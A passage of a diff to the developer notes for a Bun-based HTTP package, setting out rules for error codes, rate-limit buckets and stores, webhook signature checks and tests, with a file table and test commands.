- **Borrowed codes are never titled or registered here** (`HTTP_BORROWED_ERROR_CODES`: `X_FORBIDDEN`,
|
|
149
|
+
`X_UNAUTHENTICATED`, …); `factsOf` reads a borrowed code's title off the error.
|
|
150
|
+
- Never throw a bare `Error` — use a factory from `errors.ts`. No `any`. Validation goes through
|
|
151
|
+
Standard Schema (`validate.ts`).
|
|
152
|
+
|
|
153
|
+
## Rules — rate limiting
|
|
154
|
+
|
|
155
|
+
- **One request spends a LIST of keys**: the caller's and, when `rateLimit.tenantBucket` is declared,
|
|
156
|
+
`tenant|org:<id>` (not route-scoped); stop at the first refusal; an undeclared name is
|
|
157
|
+
`X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN`. Headers report the bucket closest to refusing.
|
|
158
|
+
- **The memory store is bounded** (`forgetAtMs` sweep, `DEFAULT_MAX_RATE_LIMIT_KEYS`, evicting the
|
|
159
|
+
entries closest to FULL first — never LRU).
|
|
160
|
+
- **The limiter takes a `Clock`** (`createRateLimiter({ clock })`); `deps.limiter` is the one seam.
|
|
161
|
+
- **The scope is DECLARED, with no default**: an enabled limiter without `scope` is
|
|
162
|
+
`X_RATE_LIMIT_SCOPE_UNSET`; `assertRateLimitScope` (in `createPipeline`) refuses `'shared'` over a
|
|
163
|
+
per-process store (`X_RATE_LIMIT_NOT_SHARED`). Install through `createServer({ rateLimitStore })`.
|
|
164
|
+
- **`postgresRateLimitStore({ executor })` is the shared store**, over a structural `PgExecutor`. The
|
|
165
|
+
refill expression is repeated inside `on conflict do update` on purpose; `spent` is a stored column;
|
|
166
|
+
`purgeExpired(nowMs)` takes the caller's clock.
|
|
167
|
+
- **A bucket a route names must be registered**: `withRouteBuckets` merges `meta.rateLimitBucket`
|
|
168
|
+
into the table in `createServer` and `createPipeline`; any disagreement is
|
|
169
|
+
`X_RATE_LIMIT_BUCKET_CONFLICT`. **The installed limiter must hold it too** — `RateLimiter.buckets`
|
|
170
|
+
is declared and `assertRouteBuckets` refuses, never rebinds.
|
|
171
|
+
|
|
172
|
+
## Rules — webhooks and tests
|
|
173
|
+
|
|
174
|
+
- **`verifyWebhookSignature` is a FUNCTION, never a stage**: it reads through core's
|
|
175
|
+
`readWithinLimit` and returns the raw text. The mac is checked BEFORE freshness
|
|
176
|
+
(`X_WEBHOOK_SIGNATURE_STALE` means authentic and old); the window is `Math.abs`; the timestamp is
|
|
177
|
+
digits-only; `:` is refused in id and topic; the comparison is `timingSafeEqual`
|
|
178
|
+
(`bun run secret-compare`). **The FORMAT is core's** (`packages/core/src/webhook-signature.ts`) —
|
|
179
|
+
never re-declared here.
|
|
180
|
+
- Tests must not touch the network — the preload seals `fetch`. Socket tests live in `e2e/` (`bun test
|
|
181
|
+
packages/http/e2e`), sealed; `start()` calls core's `markListening()`. Never unseal.
|
|
676
182
|
|
|
677
183
|
## Files
|
|
678
184
|
|
|
@@ -691,7 +197,8 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
691
197
|
| `context.ts` | `RequestContext` (core's `Ctx` plus the request's own), composed from `createContext`, the single `Ctx` adapter (`asCtx`) and the inbound-header readers |
|
|
692
198
|
| `redirect.ts` | the intent slot a handler that cannot return a `Response` fills |
|
|
693
199
|
| `auth-redirect.ts` | where an unauthenticated browser goes, and where it comes back to |
|
|
694
|
-
| `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor |
|
|
200
|
+
| `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor — and the review of a declared one (`reviewedHint`) |
|
|
201
|
+
| `error-log-level.ts` | the level of the `error-map` stage's one line: `error` for 5xx, `warn` for 401/403/429, `info` for the rest |
|
|
695
202
|
| `route-cache.ts` | the screen a `Route.cache` hint gets where it is DECLARED, thrown from `createRouter`; the response path's `finiteDeltaSeconds` is the total half of the same rule |
|
|
696
203
|
| `rate-limit.ts` | the token-bucket maths, the store interface, the memory driver and `toBucket` |
|
|
697
204
|
| `rate-limit-postgres.ts` | the SHARED store: one table, one `insert … on conflict` per take, over a structural `PgExecutor` |
|
|
@@ -712,3 +219,5 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
712
219
|
bun test packages/http
|
|
713
220
|
bun run --filter @ultimat3/http typecheck
|
|
714
221
|
```
|
|
222
|
+
|
|
223
|
+
Why each rule above is shaped the way it is: [`docs/history/http.md`](../../docs/history/http.md).
|